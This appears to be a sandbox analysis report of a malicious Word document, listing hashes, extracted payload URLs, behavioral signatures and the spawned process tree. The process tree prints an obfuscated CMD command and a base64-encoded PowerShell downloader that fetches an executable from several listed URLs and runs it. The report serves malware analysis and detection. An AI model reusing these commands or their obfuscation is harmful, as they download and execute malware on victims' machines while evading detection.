Analysis
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max time kernel
101s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
20-09-2024 23:15
Behavioral task
behavioral1
Sample
ee9f0612eb8917fdf710ac5cfe9ea64b_JaffaCakes118.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ee9f0612eb8917fdf710ac5cfe9ea64b_JaffaCakes118.doc
Resource
win10v2004-20240802-en
General
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Target
ee9f0612eb8917fdf710ac5cfe9ea64b_JaffaCakes118.doc
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Size
81KB
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MD5
ee9f0612eb8917fdf710ac5cfe9ea64b
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SHA1
2668dcdeb2e63dfbc0d2ccbaa6bb9845acd61aa5
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SHA256
a1242f39611e428c9ab7135e2eca1202b9810c22851a528bdc29e4a03f2f0c12
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SHA512
f859843d0ce47b97c967d1bd24c21e2ce93347fd342743feb71ecfa677d79bff8d748a34e351b1389a96302e74e379622b5b4ee94c399006343816f74fcce8d4
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SSDEEP
1536:jptJlmrJpmxlRw99NBP+aEkCxaupItj8SWnQt:Nte2dw99f5upuj
Malware Config
Extracted
http://4surskate.com/vKi
http://riakom.com/T
http://zavod-pt.com/T
http://natco-pharma.com/PRBHaG
http://bitwaopoznan.pl//gp6
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1836 3876 CMD.exe 81 -
Blocklisted process makes network request 3 IoCs
flow pid Process 30 4404 powershell.exe 32 4404 powershell.exe 35 4404 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 1836 CMD.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3876 WINWORD.EXE 3876 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4404 powershell.exe 4404 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4404 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3876 wrote to memory of 1836 3876 WINWORD.EXE 84 PID 3876 wrote to memory of 1836 3876 WINWORD.EXE 84 PID 1836 wrote to memory of 4404 1836 CMD.exe 92 PID 1836 wrote to memory of 4404 1836 CMD.exe 92
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ee9f0612eb8917fdf710ac5cfe9ea64b_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\SYSTEM32\CMD.exeCMD /v:^O^ ^ /R" ^Se^T ^ ^ ^h6^AV==^AAIAACA^g^A^A^IAAC^A^g^AAIAACA^g^AAI^AAC^AgA^A^IAACAgA^AI^AAC^A^9^B^Qf^AsHA^oB^wY^AQH^AhBw^YA^0HA^7A^w^aAE^GAlBgc^AI^G^A^7A^wV^A^YE^Ak^B^A^JAACAtBQZA^Q^H^A^JBQL^A^U^G^Ar^B^wb^AY^H^AuB^QS^As^DA^p^AwVAYE^A^kBA^JAAC^A^s^A^QQ^A^wEAoB^AJAgCA^l^BAbAk^GA^G^BA^Z^AE^G^AvBA^b^A4^GA^3B^wb^AQ^EAuA^g^Z^A8EAB^B^A^J^A^s^HA5BgcA^Q^HA^7^B^QKAQG^A^o^B^AV^A^QCA^g^Ag^bA^k^GA^g^AQQA^wE^A^oB^AJAgC^Ao^B^w^YAE^GAlBgc^A^8^G^A^m^B^wOAcC^A^lBA^e^AUG^Au^A^w^J^AsCApB^gc^A^g^F^A^k^A^w^K^AcC^AcBwJ^AsC^A^j^BQ^aAw^GAiBQ^d^A^AH^A6^A^gd^A4^GAlBA^J^A^0D^AX^B^gR^A^QG^A^kA^wOAcCA^y^AA^M^A^Q^DAnA^AI^A0^DA^gAQ^aA^IH^AYB^A^J^AsD^A^pAw^J^A^A^E^An^A^A^K^A^Q^HA^p^BAb^AAHA^TBgLAcCA^2^AAc^AcGAv^AwLA^wGAwB^g^LA^4GAh^B^g^bA^o^H^AvB^AcA^8^GAhB^wdAQH^ApB^g^Y^A^8C^AvAgO^A^A^HA0^BA^dAgG^AABwR^AE^GA^I^B^gQA^IF^AQ^B^wLA0^GAv^Bw^YA4CA^hB^Q^b^AIHA^hBA^a^AA^H^A^tAwbAM^GA0^BQY^A4GAvA^wL^A^o^D^A^wB^A^dA^QH^Ao^BA^Q^AQFAvAQ^bA8^G^Aj^B^gL^AQ^H^A^w^B^Q^LA^Q^G^Av^B^gdAEGA^6B^wLA8CA^6^AAc^AQ^HA^0^B^Aa^AAE^A^U^B^wL^A0G^AvB^w^YA^4C^At^Bwb^A^sG^A^h^B^Q^aA^IHAvA^wL^Ao^D^Aw^B^Ad^A^QH^Ao^BA^QAk^G^A^L^B^g^dA8C^A^tB^w^bAM^G^A^u^A^QZ^A^Q^H^Ah^Bwa^A^M^HA^y^B^Q^d^AM^HA^0^A^wLA^8CA^6AAc^A^QHA0^BA^aAcC^A9^AAZAg^G^AUB^AJ^AsDA^0^B^gb^AUGAp^BA^bAMEAi^BQ^Z^AcF^AuA^A^dA^U^G^A^O^B^A^I^AQH^AjB^Q^Z^AoG^A^iBw^bA0C^A^3BQZA^4^GA^9^A^g^Z^A^8E^A^B^BAJ^ ^e^-^ lle^hsr^e^wop&& ^F^or /^l %k ^iN ( ^8^81^ -^1^ ^ ^0)^Do ^s^ET u^f^y^d=!u^f^y^d!!^h6^AV:~ %k, 1!& i^f %k l^s^S ^1 C^aL^L %u^f^y^d:~ ^-^8^82% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABBAE8AZgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABUAGgAZAA9ACcAaAB0AHQAcAA6AC8ALwA0AHMAdQByAHMAawBhAHQAZQAuAGMAbwBtAC8AdgBLAGkAQABoAHQAdABwADoALwAvAHIAaQBhAGsAbwBtAC4AYwBvAG0ALwBUAEAAaAB0AHQAcAA6AC8ALwB6AGEAdgBvAGQALQBwAHQALgBjAG8AbQAvAFQAQABoAHQAdABwADoALwAvAG4AYQB0AGMAbwAtAHAAaABhAHIAbQBhAC4AYwBvAG0ALwBQAFIAQgBIAGEARwBAAGgAdAB0AHAAOgAvAC8AYgBpAHQAdwBhAG8AcABvAHoAbgBhAG4ALgBwAGwALwAvAGcAcAA2ACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABYAHIAaQAgAD0AIAAnADQAMAAyACcAOwAkAGQARgBXAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAFgAcgBpACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAEwAQQAgAGkAbgAgACQAVABoAGQAKQB7AHQAcgB5AHsAJABBAE8AZgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABoAEwAQQAsACAAJABkAEYAVwApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEYAVwA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4404
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize1KB
MD58a69dd7f676289a8f3b685282ffa0992
SHA1879d9ec44f5acc4785e6634a8fea8b4bd37f4192
SHA256886090e500ee16633d9f1c5d054299f52c97a27e373fff5f139e7d105b80334d
SHA512d89655c2c31d4f04288ca1f7a33bcc8c1cc057044c73ecd0ab6ae73dd41a396d93f19f8b8111b992e106fcb845bd2002771343e0e7e1d20e516a0bfc770871a6